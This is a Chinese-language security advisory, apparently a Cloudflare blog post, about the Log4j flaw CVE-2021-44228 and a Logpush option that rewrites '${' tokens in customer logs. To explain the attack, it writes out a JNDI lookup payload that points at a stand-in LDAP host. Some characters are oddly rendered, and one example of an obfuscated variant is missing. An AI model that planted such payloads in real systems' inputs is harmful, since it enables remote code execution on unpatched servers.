2021年12月9日,CVE-2021-44228這種零日漏洞利用在全球曝光。該漏洞會影響Apache Log4j實用工具。Cloudflare 立即更新了我們的WAF,以幫助防御該漏洞,但我們建議客戶盡快更新其系統(tǒng)。
然而,我們了解許多Cloudflare客戶通過使用Log4j的軟件使用其日志,因此我們還緩解了通過Cloudflare日志的任何漏洞利用。截至本文發(fā)稿時,我們在發(fā)送給客戶的日志中發(fā)現高達1000次/秒的漏洞利用模式。
客戶可以立即開始更新其Logpush作業(yè),以自動修改可能觸發(fā)此漏洞的令牌。
攻擊的工作方式
您可以閱讀有關Log4j漏洞工作方式的更多信息。簡而言之,攻擊者可以在任何字符串中添加諸如${jndi:ldap://example.com/a} 之類的內容。Log4j會在互聯(lián)網上建立連接以檢索此對象。
Cloudflare日志包含由公共互聯(lián)網上的最終用戶控制的許多字符串字段,例如用戶代理和 URL 路徑。通過此漏洞,惡意用戶有可能在讀取這些字段并使用未修補的Log4j實例的任何系統(tǒng)上進行遠程代碼執(zhí)行。
我們的緩解方案
遺憾的是,僅僅檢查諸如${jndi:ldap之類的令牌不足以防御此漏洞。由于模板中使用強大的語言表達式,還有必要檢查混淆的變體。我們已經發(fā)現攻擊者在使用諸如 之類的真實用例變種。因此,修改令牌{ 是防御此漏洞的最常規(guī)方法。
令牌 ${ 在我們目前發(fā)送給客戶的日志中出現的頻率高達1,000次/秒。對一些記錄進行抽查表明,該令牌的許多情況并不是企圖利用此漏洞。因此我們無法安全地修改日志,而不影響可能預期在其日志中出現此令牌的客戶。
從現在開始,客戶可以更新其Logpush作業(yè)以修改所有地方的字符串 ${ 并將其替換為 x{。
為此,客戶可以更新其Logpush作業(yè)選項配置以包括參數CVE-2021-44228=true。請注意,此選項目前在Cloudflare Dashboard 中不可用,僅可使用API進行修改。